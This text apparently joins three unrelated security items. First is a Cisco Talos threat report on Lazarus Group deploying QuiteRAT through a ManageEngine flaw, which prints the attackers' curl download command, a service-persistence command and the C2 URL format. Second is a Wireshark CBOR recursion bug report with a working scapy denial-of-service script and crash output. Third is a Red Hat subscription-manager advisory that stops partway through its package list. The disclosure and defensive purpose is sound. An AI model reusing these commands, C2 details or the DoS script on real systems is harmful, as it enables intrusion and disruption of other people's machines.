This is the third documented campaign attributed to this actor in less than a year, with the actor reusing the same infrastructure throughout these operations.

Thursday, August 24, 2023 08:08

*   Cisco Talos discovered the North Korean state-sponsored actor Lazarus Group targeting internet backbone infrastructure and healthcare entities in Europe and the United States. This is the third documented campaign attributed to this actor in less than a year, with the actor reusing the same infrastructure throughout these operations.  
    
*   In this campaign, the attackers began exploiting a ManageEngine ServiceDesk vulnerability (CVE-2022-47966) five days after PoCs for the exploit were publicly disclosed to deliver and deploy a newer malware threat we track as “QuiteRAT.” Security researchers first discovered this implant in February, but little has been written on it since then.  
    
*   QuiteRAT has many of the same capabilities as Lazarus Group’s better-known MagicRAT malware, but its file size is significantly smaller. Both implants are built on the Qt framework and include capabilities such as arbitrary command execution.  
    
*   Lazarus Group’s increasing use of the Qt framework creates challenges for defenders. It increases the complexity of the malware’s code, making human analysis more difficult compared to threats created using simpler programming languages such as C/C++, DOT NET, etc. Furthermore, since Qt is rarely used in malware development, machine learning and heuristic analysis detection against these types of threats are less reliable.

**Lazarus Group compromises internet backbone infrastructure company in Europe  
**

In early 2023, we observed Lazarus Group successfully compromise an internet backbone infrastructure provider in Europe to successfully deploy QuiteRAT. The actors exploited a vulnerable ManageEngine ServiceDesk instance to gain initial access. The successful exploitation triggered the immediate download and execution of a malicious binary via the Java runtime process. We observed Lazarus Group use the cURL command to immediately deploy the QuiteRAT binary from a malicious URL:

curl hxxp[://]146[.]4[.]21[.]94/tmp/tmp/comp[.]dat -o c:\users\public\notify[.]exe

The IP address 146\[.\]4\[.\]21\[.\]94 has been used by Lazarus since at least May 2022.

A successful download of the binary leads to the execution of the QuiteRAT binary by the Java process, resulting in the activation of the implant on the infected server. Once the implant starts running, it sends out preliminary system information to its command and control (C2) servers and then waits on the C2 to respond with either a command code to execute or an actual Windows command to execute on the endpoint via a child cmd.exe process. Some of the initial commands executed by QuiteRAT on the endpoint are for reconnaissance:

Command

Intent

C:\\windows\\system32\\cmd.exe /c systeminfo | findstr Logon

Get logon server name (machine name). System Information Discovery \[T1082\]

C:\\windows\\system32\\cmd.exe /c ipconfig | findstr Suffix

Domain name for the system. Domain discovery \[T1087/002\]

There is no in-built persistence mechanism in QuiteRAT. Persistence for the implant is achieved via the registry by issuing the following command to QuiteRAT:

C:\Windows\system32\cmd[.]exe /c sc create WindowsNotification type= own type= interact start= auto error= ignore binpath= cmd /K start c:\users\public\notify[.]exe

A typical infection chain looks like this:

**Lazarus Group evolves malicious arsenal with QuiteRAT**

QuiteRAT is a fairly simple remote access trojan (RAT). It consists of a compact set of statically linked Qt libraries along with some user-written code. The Qt framework is a platform for developing cross-platform applications. However, it is immensely popular for developing Graphical User Interface in applications. Although QuiteRAT, just like MagicRAT, uses embedded Qt libraries, none of these implants have a Graphical User Interface. .As seen with Lazarus Group’s MagicRAT malware, the use of Qt increases the code complexity, making human analysis harder. Using Qt also makes machine learning and heuristic analysis detection less reliable, since Qt is rarely used in malware development.

Based on QuiteRAT’s technical characteristics, including the usage of the Qt framework, we assess that this implant belongs to the previously disclosed MagicRAT family. QuiteRAT was briefly discussed in WithSecure’s report from early 2023. The new campaign we’re disclosing exploited a ManageEngine ServiceDesk vulnerability (CVE-2022-47966) — which has a Kenna risk score of 100 out of 100 — to deploy QuiteRAT.

The implant initially gathers some rudimentary information about the infected endpoint, including MAC addresses, IP addresses, and the current user name of the device. This information is then arranged in the format:

<MAC_address><IP_address>[0];<MAC_address><IP_address>[1];...<MAC_address><IP_address>[n];<username>

The resulting string is then used to calculate an MD4 hash, which is then used as the infection identifier (victim identifier) while conversing with the C2 server.

All the networking-related configurations, such as the C2 URLs and extended URI parameters, are encoded and stored in the malware. The strings are XOR’ed with 0x78 and then base64 encoded. This technique is in line with WithSecure’s analysis from earlier this year.

Configuration strings encoded in the malware.

The URL to communicate with the C2 is constructed as follows with the following extended URI parameters:

Parameter names

Values

Description

mailid

<12 chars from MD4>

The first 12 characters from the MD4 of the information gathered from the endpoint (described earlier)

action

“inbox” = send check beacon  
“sent” = data is being sent to C2

Signifies the action being taken

body

<base64\_xorred\_data>

Data to be sent to C2.

param

<Internal/Local IP address>

The internal/LAN IP address of the infected endpoint.

session

<rand>

Pseudo-random number generated by the implant.

The URL for the HTTP GET to obtain inputs from the C2 looks like this:

<C2_URL>/mailid=<12chars_MD4>&**action=inbox**&param=<Internal/Local_IP_address>&session=<rand>

Data is also sent to the C2 using the HTTP GET VERB as well. The URL for the HTTP GET to send data to the C2 looks like this:

<C2_URL>/mailid=<12chars_MD4>&**action=sent&body=<base64_xorred_data>**param=<Internal/Local_IP_address>&session=<rand>

Any data sent to the C2 is utmost 0x400 (1,024) bytes in length. If the output of a command executed on the endpoint by the implant is larger than 1,024 bytes, the implant appends the < No Pineapple! > marker at the end of the data.

The User-Agent used during communications by the implant is

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0

The malware also has the ability to run a ping command on a random IP address that it generates on the fly. The request is usually executed using the command <compspec_path>\cmd.exe /c <IP_Address> -n 18 &:  

Ping command being constructed by the implant including the octets for a random IP.

The implant can also receive a command code “sendmail” along with a numeric value from the C2 server. This value is then used by the implant to Sleep for a specific period of time (in minutes) before it begins talking to the C2 server again. The adversaries likely use this functionality to keep the implant dormant for longer periods of time while ensuring continued access to the compromised enterprise network.

The implant also has the ability to receive a second URL from the current C2 server via the command code receivemail. The implant will then reach out to the second URL to receive commands and payloads from the server to execute on the infected system.

We have seen the following versions of QuiteRAT in the wild. We are only able to share one of the file hashes at this time, which is included in the IOCs section:

QuiteRAT binary name

Compile date

notify.exe (32bit)

May 30, 2022

acres.exe

July 22, 2022

acres.exe (64bit)

July 25, 2022

The latest version of Lazarus Group’s older MagicRAT implant observed in the wild was compiled in April 2022. This is the last version of MagicRAT that we know of. The use of MagicRAT’s derivative implant, QuiteRAT, beginning in May 2023 suggests the actor is changing tactics, opting for a smaller, more compact Qt-based implant.

**QuiteRAT vs MagicRAT**

QuiteRAT is clearly an evolution of MagicRAT. While MagicRAT is a bigger, bulkier malware family averaging around 18MB in size, QuiteRAT is a much much smaller implementation, averaging around 4 to 5MB in size. This substantial difference in size is due to Lazarus Group incorporating only a handful of required Qt libraries into QuiteRAT, as opposed to MagicRAT, in which they embedded the entire Qt framework. Furthermore, while MagicRAT consists of persistence mechanisms implemented in it via the ability to set up scheduled tasks, QuiteRAT does not have a persistence capability and needs to be issued one by the C2 server to achieve continued operation on the infected endpoint. This is another contributing factor to the smaller size of QuiteRAT.

There are similarities between the implants that indicate that QuiteRAT is a derivative of MagicRAT. Apart from being built on the Qt framework, both implants consist of the same abilities, including running arbitrary commands on the infected system. Both implants also use base64 encoding to obfuscate their strings with an additional measure, such as XOR or prepending hardcoded data, to make it difficult to decode the strings automatically. Additionally, both implants use similar functionality to allow them to remain dormant on the endpoint by specifying a sleep period for them by the C2 server.

**Coverage**

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

**IOCs**

IOCs for this research can also be found at our Github repository here.  

**Hashes  
****QuiteRAT**

ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6  

**Networks IOCs  
**

146\[.\]4\[.\]21\[.\]94

hxxp\[://\]146\[.\]4\[.\]21\[.\]94/tmp/tmp/comp\[.\]dat

hxxp\[://\]146\[.\]4\[.\]21\[.\]94/tmp/tmp/log\[.\]php

hxxp\[://\]146\[.\]4\[.\]21\[.\]94/tmp/tmp/logs\[.\]php

hxxp\[://\]ec2-15-207-207-64\[.\]ap-south-1\[.\]compute\[.\]amazonaws\[.\]com/resource/main/rawmail\[.\]php

Lazarus Group exploits ManageEngine vulnerability to deploy QuiteRAT

CBOR dissector crash in Wireshark 4.0.0 to 4.0.6 allows denial of service via packet injection or crafted capture file

**Summary**

An Uncontrolled Recursion (CWE-674) in the CBOR dissector has been found by Simone Di Maria in Wireshark 4.0.6. The vulnerability occurs in dissect_cbor_byte_string() and dissect_cbor_byte_string() functions in the epan/dissectors/packet-cbor.c file which lacks of recursion limit, causing a Stack-Overflow; resulting in a Denial of Service via packet injection or crafted capture file.

**Technical details**

The vulnerability occurs when encountering a CBOR (Concise Binary Object Representation) byte string element of indefinite length during the parsing process (packet-cbor.c:336). Upon reaching this element, the code enters a while loop that checks the value of eof_type retrieved at the second byte of the CBOR object (offset+1).  
If eof_type == 0xff the loop terminate; if (eof_type & 0xe0) >> 5 not equals to CBOR_TYPE_BYTE_STRING (2), returns an error.  
If eof_type bypasses these checks, the function recalls itself recursively (packet-cbor.c:390).

Since type_minor is set with eof_type & 0x1f when recalling, if eof_type & 0x1f bypasses the checks and eof_type & 0x1f == 0x1f the execution flow falls back again in the while loop.  
An eof_type that accomplishes that is 0x5f, which its binary representation is 01011111. Visualizing the bits as that:

    11100000  # \xe0
    01011111  # \x5f
    00011111  # \x1f

It's easy to see why that happens:

*   0x5f & 0xe0 gives 01000000
*   right-shifting 5 gives 00000010 which is 2 (CBOR_TYPE_BYTE_STRING).
*   Then, 0x5f & 0x1f gives 00011111, which is, again, 0x1f.

As a result, if the HTTP request ends with \x5f \* 65000 bytes, it will recurse 65000 times.  
This Uncontrolled Recursion loop leads to a Stack Overflow, causing Wireshark to crash. Exploiting this vulnerability may allow an attacker trigger a Denial-of-Service condition.

To address this issue, it is recommended to implement a valid termination condition with reasonable max recursion depth to prevent infinite iteration and subsequent stack overflow.

**Steps to reproduce**

Open the provided pcap with Wireshark or Tshark: cbor\_exploit.pcap.  
NOTE: The stack-overflow depends on many factors, including the machine architecture, multi-threading, and amount of available memory. Also, the gui.max_tree_depth option set by user in Preferences->Advanced.  
What's sure is that the exploit will consume lots of resources of target machine if gui.max_tree_depth is set high, otherwise, the program will crash with Unhandled exception.

**PoC****High max_tree_depth**

    └─$ tshark -o 'gui.max_tree_depth:65000' -2 -nVxr cbor_exploit.pcap 
    Frame 1: 65152 bytes on wire (521216 bits), 65152 bytes captured (521216 bits)
     [...]
        [HTTP request 1/1]
        File Data: 65000 bytes
    Concise Binary Object Representation
        Byte String: (indefinite length)
            010. .... = Major Type: Byte String (2)
            ...1 1111 = Size: Indefinite Length (31)
            Byte String (indefinite length)
                Byte String: (indefinite length)
                    010. .... = Major Type: Byte String (2)
                    ...1 1111 = Size: Indefinite Length (31)
                    Byte String (indefinite length)
                        Byte String: (indefinite length)
    	                    [...]
    zsh: segmentation fault  tshark -o 'gui.max_tree_depth:65000' -2 -nVxr cbor_exploit.pcap

**Low max_tree_depth**

    └─$ tshark -o 'gui.max_tree_depth:3' -2 -nVxr cbor_packets.pcap
     ** (tshark:597282) 19:59:33.781692 [Epan WARNING] -- Dissector bug, protocol Ethernet, in packet 1: Maximum tree depth 3 exceeded for "Destination (resolved)" - "eth.dst_resolved" (proto_tree_add_node:5940) (Maximum depth can be increased in advanced preferences)
    Unhandled exception ("Maximum tree depth 3 exceeded for "Dissector bug" - "_ws.malformed.dissector_bug" (proto_tree_add_node:5940) (Maximum depth can be increased in advanced preferences)", group=1, code=6)
    zsh: IOT instruction  tshark -o 'gui.max_tree_depth:3' -2 -nVxr cbor_packets.pcap

**Crashes also in capture mode**

    └─$ tshark -i 'lo' -o 'gui.max_tree_depth:3' -nVx                    
    Capturing on 'Loopback: lo'
     ** (tshark:598456) 20:01:34.964979 [Main MESSAGE] -- Capture started.
     ** (tshark:598456) 20:01:34.965027 [Main MESSAGE] -- File: "/tmp/wireshark_loWSRD61.pcapng"
    Unhandled exception ("Maximum tree depth 3 exceeded for "Interface name" - "frame.interface_name" (proto_tree_add_node:5940) (Maximum depth can be increased in advanced preferences)", group=1, code=6)
    zsh: IOT instruction  tshark -i 'lo' -o 'gui.max_tree_depth:3' -nVx

Python script to generate exploit:

    from scapy.all import *
    
    MAX_PKT_LEN = 65000
    NUM_PACKETS = 1
    BASE_SRC_PORT = 10000
    
    payload = b'\x5f' * MAX_PKT_LEN
    
    packets = []
    src_port = BASE_SRC_PORT
    for _ in range(NUM_PACKETS):
        http_request = (
            "POST / HTTP/1.1\r\n"
            f"Content-Length: {MAX_PKT_LEN}\r\n"
            "Content-Type: application/cbor\r\n"
            "Host: example.com\r\n"
            "User-Agent: scapy\r\n"
            "\r\n"
            f"{payload.decode()}"
        )
    
        pkt = IP(src="127.0.0.1", dst="127.0.0.1") / TCP(sport=src_port, dport=80, flags="PA") / Raw(load=http_request)
    
        packets.append(pkt)
        src_port += 1
    
    #wrpcap("cbor_exploit.pcap", packets)
    send(packets)

**Build information**

    └─$ tshark -v 
    TShark (Wireshark) 4.0.6 (Git v4.0.6 packaged as 4.0.6-1~exp1).
    
    Copyright 1998-2023 Gerald Combs <gerald@wireshark.org> and contributors.
    Licensed under the terms of the GNU General Public License (version 2 or later).
    This is free software; see the file named COPYING in the distribution. There is
    NO WARRANTY; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
    
    Compiled (64-bit) using GCC 12.2.0, with GLib 2.74.6, with PCRE2, with zlib
    1.2.13, with libpcap, with POSIX capabilities (Linux), with libnl 3, with Lua
    5.2.4, with GnuTLS 3.7.9 and PKCS #11 support, with Gcrypt 1.10.1, with Kerberos
    (MIT), with MaxMind, with nghttp2 1.53.0, with brotli, with LZ4, with Zstandard,
    with Snappy, with libxml2 2.9.14, with libsmi 0.4.8, with binary plugins.
    
    Running on Linux 5.18.0-kali7-amd64, with 11th Gen Intel(R) Core(TM) i5-1135G7 @
    2.40GHz (with SSE4.2), with 15791 MB of physical memory, with GLib 2.74.6, with
    PCRE2 10.40 2022-04-14, with zlib 1.2.11, with libpcap 1.10.1 (with TPACKET_V3),
    with c-ares 1.18.1, with GnuTLS 3.7.7, with Gcrypt 1.10.1, with nghttp2 1.52.0,
    with brotli 1.0.9, with LZ4 1.9.4, with Zstandard 1.5.4, with libsmi 0.4.8, with
    LC_TYPE=it_IT.UTF-8, binary plugins supported.

For a more detailed understanding of this vulnerability, I've attached the ASAN.txt Output.

I'd also like to request a CVE ID for this vulnerability.  
This vulnerability is similar to CVE-2013-3562, CVE-2017-9346, CVE-2017-9766, CVE-2018-9262 and CVE-2021-39929.  
Please let me know if you need any additional information or assistance in addressing this vulnerability.

Regards,  
Simone

CVE-2023-4512: CBOR dissector Uncontrolled Recursion leading to Stack-Overflow | DoS (#19144) · Issues · Wireshark Foundation / Wireshark · GitLab

Red Hat Security Advisory 2023-4704-01 - The subscription-manager packages provide programs and libraries to allow users to manage subscriptions and yum repositories from the Red Hat entitlement platform.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: subscription-manager security update  
Advisory ID:       RHSA-2023:4704-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4704  
Issue date:        2023-08-22  
CVE Names:         CVE-2023-3899  
====================================================================  
1. Summary:

An update for subscription-manager is now available for Red Hat Enterprise  
Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise  
Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux  
8.4 Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream AUS (v.8.4) - x86_64  
Red Hat Enterprise Linux AppStream E4S (v.8.4) - aarch64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux AppStream TUS (v.8.4) - aarch64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux BaseOS AUS (v.8.4) - noarch, x86_64  
Red Hat Enterprise Linux BaseOS E4S (v.8.4) - aarch64, noarch, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux BaseOS TUS (v.8.4) - aarch64, noarch, ppc64le, s390x, x86_64

3. Description:

The subscription-manager packages provide programs and libraries to allow  
users to manage subscriptions and yum repositories from the Red Hat  
entitlement platform.

Security Fix(es):

* subscription-manager: inadequate authorization of com.redhat.RHSM1 D-Bus  
interface allows local users to modify configuration (CVE-2023-3899)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2225407 - CVE-2023-3899 subscription-manager: inadequate authorization of com.redhat.RHSM1 D-Bus interface allows local users to modify configuration

6. Package List:

Red Hat Enterprise Linux AppStream AUS (v.8.4):

x86_64:  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
rhsm-gtk-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-initial-setup-addon-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-migration-1.28.13-7.el8_4.x86_64.rpm

Red Hat Enterprise Linux AppStream E4S (v.8.4):

aarch64:  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
rhsm-gtk-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-initial-setup-addon-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-migration-1.28.13-7.el8_4.aarch64.rpm

ppc64le:  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
rhsm-gtk-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-initial-setup-addon-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-migration-1.28.13-7.el8_4.ppc64le.rpm

s390x:  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.s390x.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.s390x.rpm  
rhsm-gtk-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-initial-setup-addon-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-migration-1.28.13-7.el8_4.s390x.rpm

x86_64:  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
rhsm-gtk-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-initial-setup-addon-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-migration-1.28.13-7.el8_4.x86_64.rpm

Red Hat Enterprise Linux AppStream TUS (v.8.4):

aarch64:  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
rhsm-gtk-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-initial-setup-addon-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-migration-1.28.13-7.el8_4.aarch64.rpm

ppc64le:  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
rhsm-gtk-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-initial-setup-addon-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-migration-1.28.13-7.el8_4.ppc64le.rpm

s390x:  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.s390x.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.s390x.rpm  
rhsm-gtk-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-initial-setup-addon-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-migration-1.28.13-7.el8_4.s390x.rpm

x86_64:  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
rhsm-gtk-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-initial-setup-addon-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-migration-1.28.13-7.el8_4.x86_64.rpm

Red Hat Enterprise Linux BaseOS AUS (v.8.4):

Source:  
subscription-manager-1.28.13-7.el8_4.src.rpm

noarch:  
rhsm-icons-1.28.13-7.el8_4.noarch.rpm  
subscription-manager-cockpit-1.28.13-7.el8_4.noarch.rpm

x86_64:  
dnf-plugin-subscription-manager-1.28.13-7.el8_4.x86_64.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
python3-subscription-manager-rhsm-1.28.13-7.el8_4.x86_64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
python3-syspurpose-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-plugin-ostree-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-rhsm-certificates-1.28.13-7.el8_4.x86_64.rpm

Red Hat Enterprise Linux BaseOS E4S (v.8.4):

Source:  
subscription-manager-1.28.13-7.el8_4.src.rpm

aarch64:  
dnf-plugin-subscription-manager-1.28.13-7.el8_4.aarch64.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
python3-subscription-manager-rhsm-1.28.13-7.el8_4.aarch64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
python3-syspurpose-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-plugin-ostree-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-rhsm-certificates-1.28.13-7.el8_4.aarch64.rpm

noarch:  
rhsm-icons-1.28.13-7.el8_4.noarch.rpm  
subscription-manager-cockpit-1.28.13-7.el8_4.noarch.rpm

ppc64le:  
dnf-plugin-subscription-manager-1.28.13-7.el8_4.ppc64le.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
python3-subscription-manager-rhsm-1.28.13-7.el8_4.ppc64le.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
python3-syspurpose-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-plugin-ostree-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-rhsm-certificates-1.28.13-7.el8_4.ppc64le.rpm

s390x:  
dnf-plugin-subscription-manager-1.28.13-7.el8_4.s390x.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.s390x.rpm  
python3-subscription-manager-rhsm-1.28.13-7.el8_4.s390x.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.s390x.rpm  
python3-syspurpose-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-plugin-ostree-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-rhsm-certificates-1.28.13-7.el8_4.s390x.rpm

x86_64:  
dnf-plugin-subscription-manager-1.28.13-7.el8_4.x86_64.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
python3-subscription-manager-rhsm-1.28.13-7.el8_4.x86_64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
python3-syspurpose-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-plugin-ostree-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-rhsm-certificates-1.28.13-7.el8_4.x86_64.rpm

Red Hat Enterprise Linux BaseOS TUS (v.8.4):

Source:  
subscription-manager-1.28.13-7.el8_4.src.rpm

aarch64:  
dnf-plugin-subscription-manager-1.28.13-7.el8_4.aarch64.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
python3-subscription-manager-rhsm-1.28.13-7.el8_4.aarch64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
python3-syspurpose-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-plugin-ostree-1.28.13-7.el8_4.aarch64.rpm  
subscription-manager-rhsm-certificates-1.28.13-7.el8_4.aarch64.rpm

noarch:  
rhsm-icons-1.28.13-7.el8_4.noarch.rpm  
subscription-manager-cockpit-1.28.13-7.el8_4.noarch.rpm

ppc64le:  
dnf-plugin-subscription-manager-1.28.13-7.el8_4.ppc64le.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
python3-subscription-manager-rhsm-1.28.13-7.el8_4.ppc64le.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
python3-syspurpose-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-plugin-ostree-1.28.13-7.el8_4.ppc64le.rpm  
subscription-manager-rhsm-certificates-1.28.13-7.el8_4.ppc64le.rpm

s390x:  
dnf-plugin-subscription-manager-1.28.13-7.el8_4.s390x.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.s390x.rpm  
python3-subscription-manager-rhsm-1.28.13-7.el8_4.s390x.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.s390x.rpm  
python3-syspurpose-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-plugin-ostree-1.28.13-7.el8_4.s390x.rpm  
subscription-manager-rhsm-certificates-1.28.13-7.el8_4.s390x.rpm

x86_64:  
dnf-plugin-subscription-manager-1.28.13-7.el8_4.x86_64.rpm  
dnf-plugin-subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
python3-subscription-manager-rhsm-1.28.13-7.el8_4.x86_64.rpm  
python3-subscription-manager-rhsm-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
python3-syspurpose-1.28.13-7.el8_4.x86_64.rpm  
